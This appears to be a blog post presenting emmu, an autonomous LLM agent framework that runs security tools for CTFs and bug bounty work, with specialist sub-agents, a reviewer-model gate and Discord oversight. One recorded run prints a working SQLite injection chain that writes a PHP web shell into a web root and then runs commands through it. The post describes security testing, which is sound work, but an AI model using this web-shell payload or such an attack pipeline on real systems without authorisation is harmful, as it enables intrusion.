shulkwisec
03 Projects/AI Agents//6 min read

emmu: running an LLM as an operator instead of a chat partner

Most people use an LLM the same way they use a search box. You ask, it answers, the answer goes into a terminal you typed by hand. Every step between the question and the result still belongs to you.

emmu sits between the model and the machine. The model decides what to do, a bridge turns that decision into an actual tool call, and a second model reviews the decision before it runs. The result is an agent that can open a workspace, run nmap, read the output, and keep going while you watch from a phone.

The shape of it

approve

reject

Gemini CLI / Claude / Codex / Web UI

emmu orchestration core

MCP bridge: 50+ security tools

Synchronous orchestrator

Specialists: 60+ agents

Target: nmap, nuclei, Ghidra, jadx, ADB

Reviewer gate

Two ideas carry the whole design.

Specialists instead of one giant prompt. A model given sixty tool descriptions at once starts dropping them and improvising. emmu keeps a registry of sixty-plus micro-agents, each with a narrow job and only the tools that job needs: sqli, rce, xss, jwt_expert, k8s_expert, bof_expert, rop_master, ctf_crypto, malware_analyst, mobile_recon. The orchestrator routes a task to the two or three specialists that matter and leaves the rest out of the context.

A reviewer in front of every action. The specialist produces the tool call, a separate model instance reviews it with an adversarial prompt, and only an approval reaches the bridge. A rejected call goes back with the reason attached, and the specialist rewrites it.

reject

approve

Specialist drafts exploit

Reviewer: be critical

Tool call executes

Output returns to the agent

The reviewer is a second opinion, not a proof. It catches the common failures, a shell command with a typo, a library that does not exist, an endpoint the scan never showed. It will not catch a confidently wrong idea, and nothing in the architecture pretends otherwise.

Three modes

emmuOEC: campaigns that outlast a context window

A single pass over a target finds the obvious. Complex vulnerability chains need the same target looked at again with what the previous pass learned.

emmuOEC runs a ten-pass loop over the target:

Pass 1-3   broad recon and technology stack mapping
Pass 4-7   deep dives on the leads that survived
Pass 8-10  exploit formulation, reviewer-gated proof of concept

The state that makes this possible lives in the workspace, not in the conversation:

workspace/targets/<target_id>/
├── recon/          subfinder and nmap output
├── loot/           databases, decompiled code, dumps
├── exploits/       generated solve scripts
└── scratchpad.md   the working memory

Every few loops the agent writes its current hypothesis, what it tried, what the result was, and what failed, into scratchpad.md. When a session dies, the next one reads that file and picks up the thread. On a 48-hour engagement the context window is the smallest problem you have; a scratchpad is the fix.

emmuOEC is built for source audits, large binaries and APK analysis, and the kind of infrastructure dumps that do not fit in one prompt.

emmuaterasu: CTF orchestration

CTF problems punish improvisation. A generalist model will start writing a ROP chain before it has checked whether the binary has stack canaries, and then spend an hour on a dead end.

emmuaterasu answers that with playbooks. Each challenge class has a mandatory sequence, and the agent follows it:

Step 1: run file and checksec, write no exploit code yet
Step 2: open the binary in Ghidra and identify the vulnerable function
Step 3: compute the exact offset to the instruction pointer
Step 4: draft the exploit in pwntools and test it locally through the bridge
Step 5: verify the output matches the expected flag format

The order is the point. Step 1 exists because the answer to “is this stack exploitable” changes what step 4 should look like, and models that skip it write plausible code for the wrong binary.

emmu competed in the national CyberSecurityChallenge.ie event and placed 20th, running the CTF pipeline without a human driving it. The dashboard, the platform and the solving session are in the demo below.

The bug bounty pipeline

HackerOne and Intigriti are connected natively. The pipeline reads the active program scope, spawns the specialists that fit the technology stack, and writes the report in the format the platform expects: executive summary, reproduction steps, impact, remediation.

web:     recon with subfinder and httpx, fingerprint the stack, attack
mobile:  static analysis with jadx and apktool, manifest analysis, dynamic with ADB

Scope is read from the platform, so the agent is not reasoning about what it is allowed to touch. That part stays with the operator, and it should.

The bridge

Every tool call goes through the MCP bridge, which translates a JSON-RPC request from the agent into a native call and injects the output back into the prompt.

Server Used for
emmu-core the bridge for Claude, Codex and Gemini CLI agents
ghidra-mcp decompilation and function analysis
jadx-mcp APK decompilation and manifest inspection
nuclei-mcp template-based vulnerability scanning
playwright-mcp headless browser, screenshot an XSS, get past a JS challenge
chrome-devtools network interception, DOM access, script execution

Chaining is where the value shows up:

subfinder      discovers the subdomain
nuclei-mcp     flags a candidate XSS
playwright-mcp verifies the execution and screenshots it
notify         pushes the evidence to the operator

Each step is a tool that returns evidence. The next step only runs if the previous one produced something.

State that survives

The context window is the model’s hard limit, and a long engagement will hit it. emmu works around that with mission workspaces and the scratchpad described above, so the run state lives on disk in a form any later session can read. “Resume work on Target Alpha” is enough to restart.

The operator stays in the loop

Autonomy without visibility is just a slower way to lose control. Every finding is broadcast to a dedicated Discord thread per target, and the thread accepts commands back:

@emmu /status
@emmu pause scanning on example.com

That channel is the difference between an agent you supervise and an agent you discover later. The review gate catches bad tool calls; the Discord thread catches bad priorities, wrong targets and runaway scans, which are the failures that actually cost something.

Models

emmu is model-agnostic. Groq for speed, OpenRouter or OpenAI for quality, Gemini, or anything behind an OpenAI-compatible API, including a local Ollama or LM Studio setup for work that cannot leave the machine.

One detail worth stealing: reasoning models emit <think> blocks, and those blocks corrupt JSON tool calls. emmu strips them before the response reaches the bridge. It is a small thing that breaks a lot of integrations.

What it actually solved

A few of the recorded runs, because they show the shape of the output rather than the marketing version of it.

SSTI, picoCTF. The agent injected {{7*7}} to confirm the template engine, walked the Python object graph through __subclasses__ to find an execution primitive, enumerated the filesystem and read the flag. Arbitrary command execution, confirmed by the response.

Square Pea, FlagYard. Non-standard RSA with a modulus shaped as p²q. The agent recovered the factors through the crafted hints, reduced the discrete logarithm modulo p², and applied the binomial expansion to lift the result.

Corporate directory, SQLi to RCE. A SQLite backend behind a search field. The agent found the hidden endpoint with feroxbuster, confirmed the injection, determined the column count with ' ORDER BY 3--, then used ATTACH DATABASE to write a PHP shell into the web root:

ATTACH DATABASE '/var/www/html/shell.php' AS shell;
CREATE TABLE shell.pwn (dataz text);
INSERT INTO shell.pwn (dataz) VALUES ('<?php system($_GET["cmd"]); ?>');
-- ' UNION SELECT 1,2,sqlite_version()--
curl 'http://target/shell.php?cmd=cat+/flag.txt'
# flag{un10n_b4s3d_rce_w1th_sqlite}

That run is the clearest example of the reviewer gate earning its keep: the SQL that writes the shell is exactly the kind of step that should be checked by something that is not the model that wrote it.

Running it

git clone https://github.com/ShulkwiSEC/emmu.git
cd emmu
cp .env.example .env
# add a GROQ_API_KEY or an OPENROUTER_API_KEY
docker compose up --build -d

The dashboard comes up on http://localhost:5000. From the CLI:

python run.py
emmu> Initialize a workspace for Target Alpha, discover the subdomains of example.com and save the top five to the scratchpad.

The documentation covers deployment, every model provider, MCP server setup, custom agents and playbooks, campaign management, the Discord channel and the full writeup archive: shulkwisec.github.io/emmu.

Where a human is still required

Worth being explicit about this, because the demos are not the whole story.

Scope decisions stay human. The pipeline reads the platform scope, but deciding what is worth attacking inside that scope is a judgement call that costs money when it is wrong.

A reviewer is a second model, not an oracle. It catches malformed tool calls. A confidently wrong exploit passes both gates, and the only reliable verification is an actual execution against the target.

Autonomy multiplies mistakes. A wrong path that a person would abandon after one command can run for ten passes against a real target. The scratchpad and the review gate reduce that, and the pause command is the real backstop.

Everything the agent claims about a target is a claim until a tool output confirms it. Treating model summaries as evidence is the fastest way to file a report that does not reproduce.

emmu is at github.com/ShulkwiSEC/emmu.